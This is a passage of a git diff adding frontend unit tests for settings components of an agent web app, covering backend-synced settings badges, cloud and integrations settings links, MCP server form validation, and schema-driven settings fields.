+          const v = String((opts as Record<string, unknown>)[name]);
+          return escape ? htmlEscape(v) : v;
+        });
+      },
+      i18n: { language: "en", exists: () => false },
+    }),
+  };
+});
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer",
+  kind: "cloud",
+};
+
+function renderBadge() {
+  return render(<BackendSyncedSettingsBadge />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("BackendSyncedSettingsBadge", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  afterEach(() => {
+    window.localStorage.clear();
+    __resetActiveStoreForTests();
+  });
+
+  it("renders the seeded default local backend label and host URL without HTML-escaping", () => {
+    // Arrange — no explicit setRegisteredBackends() in this test; the
+    // active store auto-seeds a default local backend named "Local".
+    // Act
+    renderBadge();
+
+    // Assert — the default name slot resolves to "Local" and the host
+    // URL is preserved literally (no `&#x2F;` from i18next escape).
+    const text = screen.getByTestId(
+      "backend-synced-settings-badge",
+    ).textContent;
+    expect(text).toMatch(
+      /These settings are synced from Local backend \(https?:\/\/.+\)/,
+    );
+    expect(text).not.toContain("&#x2F;");
+  });
+
+  it("labels a cloud backend's active org as Personal Workspace when it matches the current user id", async () => {
+    // Arrange
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "user-1" });
+    vi.spyOn(orgService, "getCurrentCloudApiKey").mockResolvedValue({
+      isLegacyKey: false,
+      orgId: "user-1",
+    } as never);
+    vi.spyOn(orgService, "getCloudOrganizations").mockResolvedValue({
+      items: [{ id: "user-1", name: "Hiep Le" }],
+    } as never);
+    vi.spyOn(orgService, "getCloudOrganizationMe").mockResolvedValue({
+      orgId: "user-1",
+      userId: "user-1",
+    } as never);
+
+    // Act
+    renderBadge();
+
+    // Assert
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("backend-synced-settings-badge").textContent,
+      ).toContain("Production – BACKEND$PERSONAL_WORKSPACE");
+    });
+  });
+
+  it("labels a cloud backend's active org with the org's display name when the user is not the org owner", async () => {
+    // Arrange
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "team-org" });
+    vi.spyOn(orgService, "getCurrentCloudApiKey").mockResolvedValue({
+      isLegacyKey: false,
+      orgId: "team-org",
+    } as never);
+    vi.spyOn(orgService, "getCloudOrganizations").mockResolvedValue({
+      items: [{ id: "team-org", name: "Acme Team" }],
+    } as never);
+    vi.spyOn(orgService, "getCloudOrganizationMe").mockResolvedValue({
+      orgId: "team-org",
+      userId: "user-1",
+    } as never);
+
+    // Act
+    renderBadge();
+
+    // Assert
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("backend-synced-settings-badge").textContent,
+      ).toContain("Production – Acme Team");
+    });
+  });
+});
diff --git a/__tests__/components/features/settings/cloud-settings-link.test.tsx b/__tests__/components/features/settings/cloud-settings-link.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..365fba59b90172e3ef148010119d21f58272beb6
--- /dev/null
+++ b/__tests__/components/features/settings/cloud-settings-link.test.tsx
@@ -0,0 +1,126 @@
+import { describe, it, expect, beforeEach, afterEach, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { CloudSettingsLink } from "#/components/features/settings/cloud-settings-link";
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "token",
+  kind: "cloud",
+};
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local",
+  host: "http://localhost:3001",
+  apiKey: "local-key",
+  kind: "local",
+};
+
+function renderWithProviders() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <CloudSettingsLink />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.unstubAllEnvs();
+});
+
+describe("CloudSettingsLink", () => {
+  it("renders a link to {cloudHost}/settings when a cloud backend is active", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    renderWithProviders();
+
+    const link = screen.getByTestId("settings-cloud-link");
+    expect(link).toHaveAttribute("href", "https://app.all-hands.dev/settings");
+    expect(link).toHaveAttribute("target", "_blank");
+    expect(link).toHaveAttribute("rel", "noopener noreferrer");
+    // The test i18n mock returns the key verbatim; the human label
+    // ("Cloud") is exercised via the translation.json entry instead.
+    expect(link).toHaveTextContent("SETTINGS$CLOUD_SETTINGS_LINK");
+  });
+
+  it("strips a trailing slash when building the cloud settings URL", () => {
+    setRegisteredBackends([
+      { ...cloudBackend, host: "https://app.all-hands.dev/" },
+    ]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    renderWithProviders();
+
+    expect(screen.getByTestId("settings-cloud-link")).toHaveAttribute(
+      "href",
+      "https://app.all-hands.dev/settings",
+    );
+  });
+
+  it("opens in the same tab without the external-link icon when locked to Cloud", () => {
+    // Arrange: an OHE/SaaS-hosted canvas locked to the active cloud host
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    // Act
+    renderWithProviders();
+
+    // Assert: same tab (Back returns to the canvas) and no "new tab" hint
+    const link = screen.getByTestId("settings-cloud-link");
+    expect(link).toHaveAttribute("href", "https://app.all-hands.dev/settings");
+    expect(link).not.toHaveAttribute("target");
+    expect(link).not.toHaveAttribute("rel");
+    expect(link.querySelector("svg.lucide-external-link")).toBeNull();
+  });
+
+  it("appends the active org so cloud settings open on the same organization", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-123" });
+
+    renderWithProviders();
+
+    expect(screen.getByTestId("settings-cloud-link")).toHaveAttribute(
+      "href",
+      "https://app.all-hands.dev/settings?org=org-123",
+    );
+  });
+
+  it("renders nothing when a local backend is active", () => {
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+
+    renderWithProviders();
+
+    expect(screen.queryByTestId("settings-cloud-link")).toBeNull();
+  });
+
+  it("renders nothing when no backend is configured", () => {
+    renderWithProviders();
+
+    expect(screen.queryByTestId("settings-cloud-link")).toBeNull();
+  });
+});
diff --git a/__tests__/components/features/settings/integrations-settings-link.test.tsx b/__tests__/components/features/settings/integrations-settings-link.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1a9cf99b24ffa6609fa15e697efe5e95e03197a4
--- /dev/null
+++ b/__tests__/components/features/settings/integrations-settings-link.test.tsx
@@ -0,0 +1,91 @@
+import { describe, it, expect, beforeEach, afterEach, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { IntegrationsSettingsLink } from "#/components/features/settings/integrations-settings-link";
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "OpenHands Cloud",
+  host: "https://app.all-hands.dev",
+  apiKey: "token",
+  kind: "cloud",
+};
+
+function renderWithProviders() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        <IntegrationsSettingsLink />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  vi.unstubAllEnvs();
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("IntegrationsSettingsLink", () => {
+  it("renders a link to {cloudHost}/settings/integrations when a cloud backend is active", () => {
+    // Arrange
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    // Act
+    renderWithProviders();
+
+    // Assert
+    const link = screen.getByTestId("settings-integrations-link");
+    expect(link).toHaveAttribute(
+      "href",
+      "https://app.all-hands.dev/settings/integrations",
+    );
+    expect(link).toHaveAttribute("target", "_blank");
+  });
+
+  it("appends the active org so cloud integrations open on the same organization", () => {
+    // Arrange
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-123" });
+
+    // Act
+    renderWithProviders();
+
+    // Assert
+    expect(screen.getByTestId("settings-integrations-link")).toHaveAttribute(
+      "href",
+      "https://app.all-hands.dev/settings/integrations?org=org-123",
+    );
+  });
+
+  it("renders nothing when the canvas is locked to a Cloud host", () => {
+    // Arrange — SaaS / self-hosted OHE serve the canvas with `--lock-to-cloud`;
+    // the OHE settings shell already exposes Integrations.
+    vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev");
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    // Act
+    renderWithProviders();
+
+    // Assert
+    expect(screen.queryByTestId("settings-integrations-link")).toBeNull();
+  });
+});
diff --git a/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx b/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1de77098967266e46e2a9b84a75aeed0966dc777
--- /dev/null
+++ b/__tests__/components/features/settings/mcp-settings/mcp-server-form.validation.test.tsx
@@ -0,0 +1,401 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { MCPServerForm } from "#/components/features/settings/mcp-settings/mcp-server-form";
+
+// i18n mock
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+describe("MCPServerForm validation", () => {
+  const noop = () => {};
+
+  it("rejects invalid env var lines and allows blank lines", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "stdio" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    // Fill required fields
+    fireEvent.change(screen.getByTestId("name-input"), {
+      target: { value: "my_server" },
+    });
+    fireEvent.change(screen.getByTestId("command-input"), {
+      target: { value: "npx" },
+    });
+
+    // Invalid env entries mixed with blank lines
+    fireEvent.change(screen.getByTestId("env-input"), {
+      target: { value: "invalid\n\nKEY=value\n=novalue\nKEY_ONLY=" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    // Should show invalid env format error
+    expect(
+      screen.getByText("SETTINGS$MCP_ERROR_ENV_INVALID_FORMAT"),
+    ).toBeInTheDocument();
+
+    // Fix env with valid lines and blank lines
+    fireEvent.change(screen.getByTestId("env-input"), {
+      target: { value: "KEY=value\n\nANOTHER=123" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    // No error; submit should be called
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+  });
+
+  it("includes an optional server name for sse/shttp servers", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "sse" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("server-name-input"), {
+      target: { value: "my_search" },
+    });
+    fireEvent.change(screen.getByTestId("url-input"), {
+      target: { value: "https://api.example.com" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      type: "sse",
+      name: "my_search",
+      url: "https://api.example.com",
+    });
+  });
+
+  it("allows hyphenated local stdio server names", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "stdio" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("name-input"), {
+      target: { value: "integrations-hub" },
+    });
+    fireEvent.change(screen.getByTestId("command-input"), {
+      target: { value: "npx" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      type: "stdio",
+      name: "integrations-hub",
+      command: "npx",
+    });
+  });
+
+  it("allows hyphenated remote server names", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "shttp" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("server-name-input"), {
+      target: { value: "integrations-hub" },
+    });
+    fireEvent.change(screen.getByTestId("url-input"), {
+      target: { value: "https://api.example.com/mcp" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      type: "shttp",
+      name: "integrations-hub",
+      url: "https://api.example.com/mcp",
+    });
+  });
+
+  it("submits header authentication as a tagged auth credential", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="edit"
+        server={{
+          id: "shttp-0",
+          type: "shttp",
+          name: "datadog",
+          url: "https://api.example.com/mcp",
+          auth: {
+            strategy: "header",
+            headers: {
+              "DD-API-KEY": "",
+              "DD-APPLICATION-KEY": "",
+            },
+          },
+        }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("headers-input"), {
+      target: {
+        value: "DD-API-KEY=dd-api\nDD-APPLICATION-KEY=dd-app",
+      },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      type: "shttp",
+      name: "datadog",
+      url: "https://api.example.com/mcp",
+      auth: {
+        strategy: "header",
+        headers: {
+          "DD-API-KEY": "dd-api",
+          "DD-APPLICATION-KEY": "dd-app",
+        },
+      },
+    });
+  });
+
+  it("keeps raw protocol headers in the pre-save connection-test candidate", () => {
+    const onTest = vi.fn();
+    render(
+      <MCPServerForm
+        mode="edit"
+        server={{
+          id: "docs",
+          type: "shttp",
+          name: "docs",
+          url: "https://docs.example/mcp",
+          headers: { "X-Workspace": "canvas" },
+        }}
+        existingServers={[]}
+        onSubmit={noop}
+        onCancel={noop}
+        onTest={onTest}
+      />,
+    );
+
+    fireEvent.click(screen.getByTestId("mcp-test-connection"));
+
+    expect(onTest).toHaveBeenCalledWith(
+      expect.objectContaining({ headers: { "X-Workspace": "canvas" } }),
+    );
+  });
+
+  it("rejects an sse/shttp server name with unsafe characters", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "sse" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("server-name-input"), {
+      target: { value: "my server" },
+    });
+    fireEvent.change(screen.getByTestId("url-input"), {
+      target: { value: "https://api.example.com" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    // A name with a space can't be a safe mcp_config key, so submission is
+    // blocked rather than persisted under a malformed key.
+    expect(
+      screen.getByText("SETTINGS$MCP_ERROR_NAME_INVALID"),
+    ).toBeInTheDocument();
+    expect(onSubmit).not.toHaveBeenCalled();
+  });
+
+  it("omits the name when the sse/shttp name field is left blank", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "shttp" }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("url-input"), {
+      target: { value: "https://api.example.com" },
+    });
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0].name).toBeUndefined();
+  });
+
+  it("preserves OAuth state when editing a remote OAuth server", () => {
+    const onSubmit = vi.fn();
+    const oauthState = {
+      tokens: {
+        access_token: "**********",
+        refresh_token: "**********",
+      },
+    };
+
+    render(
+      <MCPServerForm
+        mode="edit"
+        server={{
+          id: "shttp-0",
+          type: "shttp",
+          name: "superhuman_mail",
+          url: "https://mcp.mail.superhuman.com/mcp",
+          auth: {
+            strategy: "oauth2",
+            authentication: { type: "oauth", client_auth_method: "none" },
+            state: oauthState,
+          },
+        }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      auth: {
+        strategy: "oauth2",
+        authentication: { type: "oauth", client_auth_method: "none" },
+        state: oauthState,
+      },
+    });
+  });
+
+  it("keeps a disabled server disabled when its configuration is edited", () => {
+    const onSubmit = vi.fn();
+
+    render(
+      <MCPServerForm
+        mode="edit"
+        server={{
+          id: "stdio-0",
+          type: "stdio",
+          name: "github",
+          command: "docker",
+          enabled: false,
+        }}
+        existingServers={[]}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getByTestId("command-input"), {
+      target: { value: "podman" },
+    });
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    // Enable/disable lives on the card, not in this form, so an edit must
+    // carry the existing state forward instead of switching the server on.
+    expect(onSubmit).toHaveBeenCalledTimes(1);
+    expect(onSubmit.mock.calls[0][0]).toMatchObject({
+      command: "podman",
+      enabled: false,
+    });
+  });
+
+  it("rejects duplicate URLs across sse/shttp types", () => {
+    const onSubmit = vi.fn();
+
+    const existingServers = [
+      { id: "sse-1", type: "sse" as const, url: "https://api.example.com" },
+      { id: "shttp-1", type: "shttp" as const, url: "https://x.example.com" },
+    ];
+
+    const r1 = render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp", type: "sse" }}
+        existingServers={existingServers}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getAllByTestId("url-input")[0], {
+      target: { value: "https://api.example.com" },
+    });
+
+    fireEvent.click(screen.getAllByTestId("submit-button")[0]);
+    expect(
+      screen.getByText("SETTINGS$MCP_ERROR_URL_DUPLICATE"),
+    ).toBeInTheDocument();
+
+    // Unmount first form, then check shttp duplicate
+    r1.unmount();
+
+    const r2 = render(
+      <MCPServerForm
+        mode="add"
+        server={{ id: "tmp2", type: "shttp" }}
+        existingServers={existingServers}
+        onSubmit={onSubmit}
+        onCancel={noop}
+      />,
+    );
+
+    fireEvent.change(screen.getAllByTestId("url-input")[0], {
+      target: { value: "https://api.example.com" },
+    });
+
+    fireEvent.click(screen.getAllByTestId("submit-button")[0]);
+    expect(
+      screen.getByText("SETTINGS$MCP_ERROR_URL_DUPLICATE"),
+    ).toBeInTheDocument();
+
+    r2.unmount();
+  });
+});
diff --git a/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx b/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d40018ad5a5989a5a1114d7ea8377bf04f5db6c7
--- /dev/null
+++ b/__tests__/components/features/settings/sdk-settings/schema-field.test.tsx
@@ -0,0 +1,104 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { SchemaField } from "#/components/features/settings/sdk-settings/schema-field";
+import { SettingsFieldSchema } from "#/types/settings";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) =>
+      ({
+        SETTINGS$TOP_P_LABEL: "Top P",
+        SETTINGS$TOP_P_DESCRIPTION: "Controls nucleus sampling.",
+        SCHEMA$VERIFICATION$CRITIC_API_KEY$HELP_TEXT:
+          "If OpenHands is selected as your active LLM provider, leave this empty because the Critic API Key is the same as your OpenHands Provider LLM Key, which you can find in the",
+        SCHEMA$VERIFICATION$CRITIC_API_KEY$HELP_SUFFIX:
+          "section of OpenHands Cloud; otherwise, enter a Critic API Key from that page.",
+        SETTINGS$OPENHANDS_API_KEY_HELP_LINK: "OpenHands LLM Key",
+      })[key] ?? key,
+  }),
+}));
+
+function buildField(
+  overrides: Partial<SettingsFieldSchema> = {},
+): SettingsFieldSchema {
+  return {
+    key: "llm.top_p",
+    label: "Top P",
+    description: "Controls nucleus sampling.",
+    section: "llm",
+    section_label: "LLM",
+    value_type: "number",
+    default: 1,
+    choices: [],
+    depends_on: [],
+    prominence: "major",
+    secret: false,
+    required: false,
+    ...overrides,
+  };
+}
+
+describe("SchemaField", () => {
+  it("constrains the Top P input to the valid numeric range", () => {
+    render(
+      <SchemaField
+        field={buildField()}
+        value="1"
+        isDisabled={false}
+        onChange={() => {}}
+      />,
+    );
+
+    const input = screen.getByTestId("sdk-settings-llm.top_p");
+
+    expect(input).toHaveAttribute("min", "0");
+    expect(input).toHaveAttribute("max", "1");
+    expect(input).toHaveAttribute("step", "0.01");
+  });
+
+  it("translates schema-backed labels and descriptions", () => {
+    render(
+      <SchemaField
+        field={buildField({
+          label: "SETTINGS$TOP_P_LABEL",
+          description: "SETTINGS$TOP_P_DESCRIPTION",
+        })}
+        value="1"
+        isDisabled={false}
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByText("Top P")).toBeInTheDocument();
+    expect(screen.getByText("Controls nucleus sampling.")).toBeInTheDocument();
+  });
+
+  it("renders critic API key guidance as one settings-sized help line", () => {
+    render(
+      <SchemaField
+        field={buildField({
+          key: "verification.critic_api_key",
+          label: "Critic API Key",
+          description: "Server schema description should be replaced.",
+          value_type: "string",
+          secret: true,
+        })}
+        value=""
+        isDisabled={false}
+        onChange={() => {}}
+      />,
+    );
+
+    const help = screen.getByTestId("help-link-verification.critic_api_key");
+
+    expect(help).toHaveTextContent(
+      "Critic API Key is the same as your OpenHands Provider LLM Key",
+    );
+    expect(help).toHaveTextContent("OpenHands LLM Key");
+    expect(help).toHaveClass("text-sm");
+    expect(help).toHaveClass("font-normal");
+    expect(
+      screen.queryByText("Server schema description should be replaced."),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx b/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..019186189bf29ed3dff973f97708ffb80a5d060e
--- /dev/null
+++ b/__tests__/components/features/settings/sdk-settings/sdk-section-page.test.tsx
@@ -0,0 +1,1211 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError } from "axios";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+  SdkSectionPage,
+  type SdkSectionSaveControl,
+} from "#/components/features/settings/sdk-settings/sdk-section-page";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { Settings } from "#/types/settings";
+import * as ToastHandlers from "#/utils/custom-toast-handlers";
+
+const mockUseSearchParams = vi.fn();
+vi.mock("react-router", async () => {
+  const actual =
+    await vi.importActual<typeof import("react-router")>("react-router");
+  return {
+    ...actual,
+    useSearchParams: () => mockUseSearchParams(),
+    useRevalidator: () => ({ revalidate: vi.fn() }),
+  };
+});
+
+const mockUseConfig = vi.fn();
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => mockUseConfig(),
+}));
+
+function buildSettings(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    ...overrides,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      ...overrides.agent_settings,
+    },
+    agent_settings_schema:
+      overrides.agent_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.agent_settings_schema,
+    conversation_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings,
+      ...overrides.conversation_settings,
+    },
+    conversation_settings_schema:
+      overrides.conversation_settings_schema ??
+      MOCK_DEFAULT_USER_SETTINGS.conversation_settings_schema,
+  };
+}
+
+function buildSavableSettings(): Settings {
+  return buildSettings({
+    agent_settings_schema: {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.endpoint",
+              label: "Endpoint",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "https://api.example.com",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+          ],
+        },
+      ],
+    },
+    agent_settings: {
+      "llm.endpoint": "https://api.example.com",
+    },
+  });
+}
+
+function renderSdkSectionPage(
+  props: React.ComponentProps<typeof SdkSectionPage>,
+  { strict = false }: { strict?: boolean } = {},
+) {
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+    },
+  });
+
+  mockUseConfig.mockReturnValue({
+    data: {},
+    isLoading: false,
+  });
+  mockUseSearchParams.mockReturnValue([{ get: () => null }, vi.fn()]);
+
+  return render(React.createElement(SdkSectionPage, props), {
+    wrapper: ({ children }) => {
+      const tree = (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      );
+      return strict ? <React.StrictMode>{tree}</React.StrictMode> : tree;
+    },
+  });
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+  mockUseConfig.mockReturnValue({
+    data: {},
+    isLoading: false,
+  });
+  mockUseSearchParams.mockReturnValue([{ get: () => null }, vi.fn()]);
+});
+
+describe("SdkSectionPage", () => {
+  it("renders advanced-only fields when a custom initial view is provided", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.model",
+              label: "Model",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "openai/gpt-4o",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "llm.api_version",
+              label: "API Version",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: null,
+              choices: [],
+              depends_on: [],
+              prominence: "major",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {
+          "llm.model": "openai/gpt-4o",
+        },
+      }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      getInitialView: () => "advanced",
+    });
+
+    expect(
+      await screen.findByTestId("sdk-settings-llm.api_version"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders each field once when the schema has duplicate sections for a key", async () => {
+    // The combined AgentSettings schema emits an "llm" section for each agent
+    // variant ("openhands" and "acp") with identical field keys. Only the first
+    // is used; without de-duplication every field would render twice (and React
+    // would warn about duplicate keys).
+    const llmSection = {
+      key: "llm",
+      label: "LLM",
+      fields: [
+        {
+          key: "llm.api_version",
+          label: "API Version",
+          section: "llm",
+          section_label: "LLM",
+          value_type: "string" as const,
+          default: null,
+          choices: [],
+          depends_on: [],
+          prominence: "minor" as const,
+          secret: false,
+          required: false,
+        },
+      ],
+    };
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [llmSection, { ...llmSection }],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {},
+      }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      getInitialView: () => "all",
+    });
+
+    const fields = await screen.findAllByTestId("sdk-settings-llm.api_version");
+    expect(fields).toHaveLength(1);
+  });
+
+  it("preserves the selected view when parent rerenders with the same settings", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.model",
+              label: "Model",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "openhands/claude-opus-4-5-20251101",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "llm.base_url",
+              label: "Base URL",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: null,
+              choices: [],
+              depends_on: [],
+              prominence: "major",
+              secret: false,
+              required: false,
+            },
